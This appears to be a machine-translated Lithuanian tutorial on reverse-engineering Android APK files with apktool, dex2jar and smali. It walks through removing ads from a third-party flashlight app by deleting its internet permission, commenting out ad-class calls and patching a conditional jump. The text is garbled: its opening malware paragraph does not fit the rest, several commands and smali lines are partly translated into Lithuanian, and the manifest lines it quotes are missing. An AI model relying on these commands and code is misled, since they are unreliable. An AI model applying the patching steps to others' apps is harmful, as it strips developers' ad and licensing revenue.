Dokumente pateikiamas kenkėjiškų veiksmų padarytos žalos pavyzdys programinė įranga nieko neįtariantiems vartotojams. Jei asmuo nežino apie jo egzistavimą, tokios programos fone gali atlikti beveik bet kokius neleistinus veiksmus. Kenkėjiškos programos veikimas gali sukelti finansinių nuostolių vartotojui nurašant lėšas iš jo likučių, taip pat vogiant slaptažodžius. Be to, jie gali pakenkti pačiam telefonui. Kaip matote, labai svarbu laiku imtis atitinkamų atsargumo priemonių, kad tokio tipo programos nepatektų į jūsų telefoną. Geriau vieną kartą būti saugiam, nei vėliau dešimt kartų gailėtis.

Kartais kai kurios „Android“ programos tam tikru būdu netinka vartotojui. Pavyzdys – įkyri reklama. Taip pat atsitinka, kad programa tinka visiems, bet vertimas joje yra kreivas arba jo visai nėra. Arba, pavyzdžiui, programa yra bandomoji, bet gaukite pilna versija nėra galimybės. Kaip pakeisti situaciją?

Įvadas

Šiame straipsnyje mes kalbėsime apie tai, kaip išardyti APK paketą su programa, pažvelgti į jo vidinę struktūrą, išardyti ir dekompiliuoti baito kodą, taip pat pabandysime atlikti keletą programų pakeitimų, kurie gali mums atnešti vienokios ar kitokios naudos.

Norėdami visa tai padaryti patys, jums reikės bent jau pagrindinių Java kalbos, kuria rašomos Android programos, ir XML kalbos, kuri naudojama visur Android – nuo ​​pačios programos aprašymo ir jos prieigos teisių iki eilučių saugojimo žinių. bus rodomas ekrane. Taip pat reikės mokėti naudotis specializuota konsolės programine įranga.

Taigi, kas yra APK paketas, kuriame platinama absoliučiai visa „Android“ programinė įranga?

Programos dekompiliavimas

Šiame straipsnyje mes dirbome tik su išardytu programos kodu, tačiau jei didelėse programose bus atlikti rimtesni pakeitimai, suprasti smali kodą bus daug sunkiau. Laimei, mes galime dekompiliuoti dex kodą į Java kodą, kuris, nors ir nėra originalus ir nesukompiliuotas atgal, yra daug lengviau skaitomas ir suprantamas programos logika. Norėdami tai padaryti, mums reikės dviejų įrankių:

  • dex2jar yra Dalvik baito kodo vertėjas į JVM baitinį kodą, kurio pagrindu galime gauti kodą Java kalba;
  • jd-gui yra pats dekompiliatorius, leidžiantis gauti skaitomą Java kodą iš JVM baito kodo. Kaip alternatyvą galite naudoti Jad (www.varaneckas.com/jad); nors jis gana senas, bet kai kuriais atvejais generuoja daugiau nuskaitomas kodas, nei Jd-gui.

Taip jie turėtų būti naudojami. Pirmiausia paleidžiame dex2jar, kaip argumentą nurodydami kelią į apk paketą:

% dex2jar.sh mail.apk

Dėl to Java paketas mail.jar atsiras dabartiniame kataloge, kurį jau galima atidaryti jd-gui, kad būtų galima peržiūrėti Java kodą.

APK paketų išdėstymas ir gavimas

Plastikinis maišelis Android programos, iš tikrųjų yra įprastas ZIP failas, nereikia jokių specialių įrankių turiniui peržiūrėti ir jį išgauti. Pakanka turėti archyvatorių - 7zip Windows arba konsolės išpakavimas Linux. Bet tai apie įvyniojimą. Kas viduje? Apskritai viduje turime tokią struktūrą:

  • META-INF/- yra skaitmeninis programos sertifikatas, identifikuojantis jos kūrėją, ir paketo failų kontrolinės sumos;
  • res/ - įvairūs ištekliai, kuriuos programa naudoja savo darbe, pavyzdžiui, vaizdai, deklaratyvus sąsajos aprašymas, taip pat kiti duomenys;
  • AndroidManifest.xml- paraiškos aprašymas. Tai apima, pavyzdžiui, reikalingų leidimų sąrašą Android versija ir reikiama ekrano skiriamoji geba;
  • klases.dex- sukompiliuotas programos baito kodas Dalvik virtualiajai mašinai;
  • ištekliai.arsc- taip pat ištekliai, bet kitokio pobūdžio - ypač eilutės (taip, šis failas gali būti naudojamas rusifikacijai!).

Išvardyti failai ir katalogai yra, jei ne visuose, tai galbūt daugumoje APK. Tačiau verta paminėti dar kelis ne tokius įprastus failus / katalogus:

  • turto- išteklių analogas. Pagrindinis skirtumas yra tas, kad norint pasiekti išteklius reikia žinoti jo identifikatorių, tačiau turto sąrašą galima gauti dinamiškai naudojant AssetManager.list() metodą programos kode;
  • lib- savosios Linux bibliotekos, parašytos naudojant NDK (Native Development Kit).

Šį katalogą naudoja žaidimų gamintojai, patalpindami jame C/C++ parašytą žaidimo variklį, taip pat didelio našumo programų kūrėjai (pvz., Google Chrome). Mes išsiaiškinome įrenginį. Bet kaip gauti jus dominančios programos paketo failą? Kadangi neįmanoma pasiimti APK failų iš įrenginio be root (jie yra /data/app kataloge), o įsišaknijimas ne visada patartinas, yra bent trys būdai, kaip gauti programos failą į kompiuterį:

  • APK Downloader plėtinys, skirtas Chrome;
  • Tikra APK Leecher programa;
  • įvairių failų talpinimas ir Varezniks.

Kurį naudoti – skonio reikalas; mes norime naudoti atskiras programas, todėl apibūdinsime „Real APK Leecher“ naudojimą, ypač todėl, kad jis parašytas „Java“ ir atitinkamai veiks „Windows“ arba „Nix“.

Paleidus programą, reikia užpildyti tris laukus: El. paštas, Slaptažodis ir Įrenginio ID – ir pasirinkti kalbą. Pirmieji du yra jūsų „Google“ paskyros, kurią naudojate įrenginyje, el. paštas ir slaptažodis. Trečias yra įrenginio identifikatorius, kurį galima gauti įvedus kodą rinkiklyje # #8255## tada suraskite įrenginio ID eilutę. Pildant tereikia įvesti ID be android priešdėlio.

Užpildžius ir išsaugojus dažnai pasirodo pranešimas „Klaida jungiantis prie serverio“. Tai neturi nieko bendra su „Google Play“, todėl drąsiai nekreipkite dėmesio į tai ir ieškokite jus dominančių paketų.

Peržiūrėti ir keisti

Tarkime, radote jus dominantį paketą, atsisiuntėte jį, išpakavote... ir kai bandėte peržiūrėti kokį nors XML failą, nustebote sužinoję, kad failas nėra tekstas. Kaip jį dekompiliuoti ir kaip apskritai dirbti su paketais? Ar tikrai būtina įdiegti SDK? Ne, SDK diegti visai nebūtina. Tiesą sakant, visiems APK paketų išskleidimo, modifikavimo ir pakavimo veiksmams reikalingi šie įrankiai:

  • ZIP archyvatorius išpakavimui ir pakavimui;
  • smali- Dalvik virtualios mašinos baitinių kodų surinkėjas/disassembleris (code.google.com/p/smali);
  • aapt- išteklių pakavimo įrankis (pagal numatytuosius nustatymus ištekliai saugomi dvejetaine forma, siekiant optimizuoti programos veikimą). Įtraukta į Android SDK, bet galima įsigyti atskirai;
  • signataras- įrankis skirtas Elektroninis parašas modifikuotas paketas (bit.ly/Rmrv4M).

Visus šiuos įrankius galite naudoti atskirai, tačiau tai nepatogu, todėl geriau naudoti aukštesnio lygio programinę įrangą, sukurtą jų pagrindu. Jei dirbate su Linux arba Mac OS X, yra įrankis, vadinamas apktool. Tai leidžia išpakuoti išteklius pradine forma (įskaitant dvejetainius XML ir arsc failus), atkurti paketą su pakeistais ištekliais, tačiau jis nežino, kaip pasirašyti paketus, todėl pasirašymo programą turėsite paleisti rankiniu būdu. Nepaisant to, kad programa yra parašyta Java, jos diegimas yra gana nestandartinis. Pirmiausia turite gauti patį jar failą:

$ cd /tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

$ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~/bin $ mv apktool-install-linux-r05-ibot/* ~/bin $ eksportuoti PATH=~/bin:$PATH

Jei dirbate su Windows, tada yra puikus įrankis, pavadintas Virtuous Ten Studio, kuris taip pat kaupia visus šiuos įrankius (įskaitant patį apktool), tačiau vietoj CLI sąsajos suteikia vartotojui intuityvią grafinę sąsają, su kuria galite atlikti išpakavimo, išmontavimo ir dekompiliavimo operacijas keliais paspaudimais. Šis įrankis yra Donation-ware, tai yra, kartais pasirodo langai, kuriuose prašoma gauti licenciją, bet galiausiai tai gali būti toleruojama. Nėra prasmės to apibūdinti, nes sąsają galite suprasti per kelias minutes. Tačiau apktool dėl savo konsolinio pobūdžio turėtų būti aptartas išsamiau.


Pažvelkime į apktool parinktis. Trumpai tariant, yra trys pagrindinės komandos: d (dekodavimas), b (build) ir if (diegti sistemą). Jei su pirmomis dviem komandomis viskas aišku, ką daro trečioji? sąlyginis operatorius? Jis išpakuoja nurodytą vartotojo sąsajos sistemą, kuri reikalinga tais atvejais, kai išardote bet kurį sistemos paketą.

Pažvelkime į įdomiausias pirmosios komandos parinktis:

  • -s- neišardykite dex failų;
  • -r- neišpakuokite išteklių;
  • -b- neįterpti derinimo informacijos į dex failo išardymo rezultatus;
  • --rėmo kelias- naudokite nurodytą vartotojo sąsajos sistemą, o ne įmontuotą apktool. Dabar pažvelkime į keletą b komandos parinkčių:
  • -f- priverstinis surinkimas be pakeitimų tikrinimo;
  • -a- nurodykite kelią į aapt (APK archyvo kūrimo įrankį), jei dėl kokių nors priežasčių norite jį naudoti iš kito šaltinio.

Naudoti apktool yra labai paprasta; norėdami tai padaryti, tiesiog nurodykite vieną iš komandų ir kelią į APK, pavyzdžiui:

$ apktool d mail.apk

Po to visi išskleisti ir išardyti paketo failai bus rodomi pašto kataloge.

Paruošimas. Reklamos išjungimas

Teorija, žinoma, gera, bet kam to reikia, jei nežinome, ką daryti su išpakuota pakuote? Pabandykime pritaikyti teoriją savo naudai, ty modifikuoti kokią nors programinę įrangą, kad ji mums nerodytų reklamos. Pavyzdžiui, tebūnie Virtualus žibintuvėlis – virtualus žibintuvėlis. Ši programinė įranga mums idealiai tinka, nes pilna erzinančios reklamos ir, be to, pakankamai paprasta, kad nepasiklystų kodo džiunglėse.


Taigi, naudodami vieną iš aukščiau pateiktų metodų, atsisiųskite programą iš rinkos. Jei nuspręsite naudoti Virtuous Ten Studio, tiesiog atidarykite APK failą programoje ir išskleiskite jį, kuriam sukurkite projektą (Failas -> Naujas projektas), tada kontekstinis meniu projektą, pasirinkite Importuoti failą. Jei jūsų pasirinkimas buvo apktool, tiesiog paleiskite vieną komandą:

$ apktool d com.kauf.particle.virtualtorch.apk

Po to kataloge com.kauf.particle.virtualtorch atsiras failų medis, panašus į aprašytą ankstesniame skyriuje, tačiau vietoj dex failų ir apktool.yml failo bus papildomas Smali katalogas. Pirmajame yra išardytas programos vykdomojo dex failo kodas, antrajame yra paslaugų informacija, reikalinga apktool surinkti paketą atgal.

Žinoma, pirmiausia turėtume ieškoti AndroidManifest.xml. Ir čia iškart susiduriame su tokia eilute:

Nesunku atspėti, kad ji yra atsakinga už programos leidimų naudotis interneto ryšiu suteikimą. Tiesą sakant, jei norime tiesiog atsikratyti reklamos, greičiausiai tiesiog užblokuosime programą iš interneto. Pabandykime tai padaryti. Ištriname nurodytą eilutę ir bandome sukurti programinę įrangą naudodami apktool:

$ apktool b com.kauf.particle.virtualtorch

Gautas APK failas bus rodomas com.kauf.particle.virtualtorch/build/ kataloge. Tačiau jo įdiegti nebus įmanoma, nes jis nepasirašytas skaitmeniniu parašu ir kontrolines sumas failus (jame tiesiog nėra META-INF/ katalogo). Turime pasirašyti paketą naudodami apk-signer įrankį. paleistas. Sąsaja susideda iš dviejų skirtukų – pirmame (Key Generator) kuriame raktus, antrajame (APK Signer) pasirašome. Norėdami sukurti mūsų privatus raktas, užpildykite šiuos laukus:

  • Tikslinis failas- raktų saugyklos išvesties failas; jame paprastai saugoma viena raktų pora;
  • Slaptažodis Ir Patvirtinti- saugyklos slaptažodis;
  • Pseudonimas- rakto pavadinimas saugykloje;
  • Alias ​​slaptažodis Ir Patvirtinti- slapto rakto slaptažodis;
  • Galiojimas- galiojimo laikas (metais). Numatytoji vertė yra optimali.

Likę laukai paprastai yra neprivalomi, tačiau bent vienas turi būti užpildytas.


ĮSPĖJIMAS

Norėdami pasirašyti programą naudodami apk-signer, turite įdiegti Android SDK ir programos nustatymuose nurodyti visą kelią iki jos.

Visa informacija pateikiama tik informaciniais tikslais. Nei redaktoriai, nei autorius neatsako už bet kokią galimą žalą, padarytą dėl šio straipsnio medžiagos.

Dabar galite pasirašyti APK naudodami šį raktą. Skirtuke APK Signer pasirinkite naujai sugeneruotą failą, įveskite jo slaptažodį, rakto slapyvardį ir slaptažodį, tada suraskite APK failą ir nedvejodami paspauskite mygtuką „Pasirašyti“. Jei viskas bus gerai, paketas bus pasirašytas.

INFORMACIJA

Kadangi paketą pasirašėme savo raktu, jis prieštaraus pradinei programai, o tai reiškia, kad bandydami atnaujinti programinę įrangą per rinką gausime klaidą.

Skaitmeninis parašas reikalingas tik trečiosios šalies programinei įrangai, taigi, jei keičiate sistemos programos, kurie įdiegiami nukopijuojant į /system/app/ katalogą, jų pasirašyti nereikia.

Po to atsisiųskite paketą į savo išmanųjį telefoną, įdiekite jį ir paleiskite. Voila, skelbimo nebėra! Tačiau vietoj to pasirodė pranešimas, kad mes neturime interneto arba neturime atitinkamų leidimų. Teoriškai to gali pakakti, tačiau pranešimas atrodo erzinantis ir, tiesą sakant, mums tiesiog pasisekė su kvaila programa. Paprastai parašyta programinė įranga greičiausiai išaiškins savo kredencialus arba patikrins, ar yra interneto ryšys, o kitaip tiesiog atsisako paleisti. Kaip tokiu atveju būti? Žinoma, redaguokite kodą.

Paprastai programų autoriai sukuria specialias klases reklamoms rodyti ir šių klasių metodams iškviesti, kai paleidžiama programa arba viena iš jos „veiklų“ (paprasčiau tariant, programų ekranai). Pabandykime surasti šias klases. Mes einame į smali katalogą, tada com (org yra tik atvira grafinė biblioteka cocos2d), tada kauf (čia ji yra, nes tai kūrėjo vardas ir visas jo kodas) - ir štai, rinkodaros katalogą. Viduje randame krūvą failų su smali plėtiniu. Tai yra klasės, o žymiausia iš jų – Ad.smali klasė, iš kurios pavadinimo nesunku atspėti, kad būtent joje rodoma reklama.

Galėtume pakeisti jos veikimo logiką, tačiau būtų daug paprasčiau paprasčiausiai pašalinti bet kurio metodo iškvietimus iš pačios programos. Todėl mes paliekame rinkodaros katalogą ir einame į gretimą dalelių katalogą, o tada į virtualitorch. Čia ypatingo dėmesio nusipelno failas MainActivity.smali. Tai standartinė „Android“ klasė, sukurta „Android SDK“ ir įdiegta kaip įėjimo į programą taškas (analogiškai pagrindinei funkcijai C). Atidarykite failą redaguoti.

Viduje yra smali kodas (vietinis surinkėjas). Jis gana painus ir sunkiai skaitomas dėl savo žemo lygio pobūdžio, todėl jo nenagrinėsime, o tiesiog kode surasime visas nuorodas į Reklamos klasę ir jas pakomentuosime. Paieškoje įvedame eilutę „Skelbimas“ ir patenkame į 25 eilutę:

Lauko privatus skelbimas:Lcom/kauf/marketing/Ad;

Čia sukuriamas skelbimo laukas, kuriame saugomas skelbimų klasės objektas. Komentuojame prieš eilutę padėdami ženklą ###. Tęsiame paieškas. 423 eilutė:

Naujos instancijos v3, Lcom/kauf/marketing/Ad;

Čia vyksta objekto kūrimas. Komentuokime. Tęsiame paiešką ir 433, 435, 466, 468, 738, 740, 800 ir 802 eilutėse randame skelbimų klasės metodų iškvietimus. Komentuokime. Atrodo, kad viskas. Sutaupyti. Dabar paketą reikia vėl sudėti ir patikrinti, ar jis veikia ir ar nėra reklamos. Dėl eksperimento grynumo grąžiname iš AndroidManifest.xml pašalintą eilutę, surenkame paketą, pasirašome ir įdiegiame.

Mūsų jūrų kiaulytė. Matosi reklama

Oi! Reklama dingo tik veikiant programai, bet liko pagrindiniame meniu, kurį matome paleidę programinę įrangą. Taigi, palaukite, bet įėjimo taškas yra MainActivity klasė, o reklama dingo veikiant programai, bet liko pagrindiniame meniu, taigi įėjimo taškas skiriasi? Norėdami nustatyti tikrąjį įvesties tašką, iš naujo atidarykite failą AndroidManifest.xml. Ir taip, jame yra šios eilutės:

Jie nurodo mums (ir, dar svarbiau, „Android“), kad veikla, pavadinta Pradėti, turėtų būti pradėta reaguojant į ketinimo (įvykio) android.intent.action.MAIN generavimą iš kategorijos android.intent.category.LAUNCHER. Šis įvykis sugeneruojamas, kai paleidimo priemonėje paliečiate programos piktogramą, todėl jis nustato įėjimo tašką, būtent pradžios klasę. Labiausiai tikėtina, kad programuotojas pirmiausia parašė programą be pagrindinio meniu, kurios įėjimo taškas buvo standartinė MainActivity klasė, o tada pridėjo naują langą (veiklą), kuriame yra meniu ir aprašyta klasėje Pradėti, ir rankiniu būdu padarė jį įrašu. tašką.

Atidarykite failą Start.smali ir vėl ieškokite eilutės „Ad“, 153 ir 155 eilutėse randame „FirstAd“ klasės paminėjimą. Jis taip pat yra šaltinio kode ir, sprendžiant iš pavadinimo, yra atsakingas už skelbimų rodymą pagrindiniame ekrane. Pažiūrėkime toliau, yra FirstAd klasės egzemplioriaus sukūrimas ir ketinimas, kuris, atsižvelgiant į kontekstą, yra susijęs su šiuo atveju, o tada etiketė cond_10, į kurią sąlyginis perėjimas atliekamas tiksliai prieš sukuriant egzempliorių. iš klasės:

If-ne p1, v0, :cond_10 .line 74 new-instance v0, Landroid/content/Intent; ... :cond_10

Greičiausiai programa kažkaip atsitiktinai apskaičiuoja, ar reklama turi būti rodoma pagrindiniame ekrane, o jei ne, peršoka tiesiai į cond_10. Gerai, supaprastinkime jos užduotį ir pakeiskime sąlyginį perėjimą besąlyginiu:

#if-ne p1, v0, :cond_10 goto:cond_10

Kode nebėra paminėjimų apie FirstAd, todėl uždarome failą ir iš naujo surenkame virtualų žibintuvėlį naudodami apktool. Nukopijuokite jį į savo išmanųjį telefoną, įdiekite, paleiskite. Voila, dingo visa reklama, su kuo mes visus sveikiname.

Rezultatai

Šis straipsnis yra tik trumpas pristatymas„Android“ programų atidarymo ir keitimo būdus. Daugelis problemų liko užkulisiuose, pvz., apsaugos pašalinimas, užmaskuoto kodo analizavimas, programų išteklių vertimas ir pakeitimas, taip pat programų, parašytų naudojant naudojant Android NDK. Tačiau turint pagrindines žinias, tik laiko klausimas viską išsiaiškinti.

Dalintis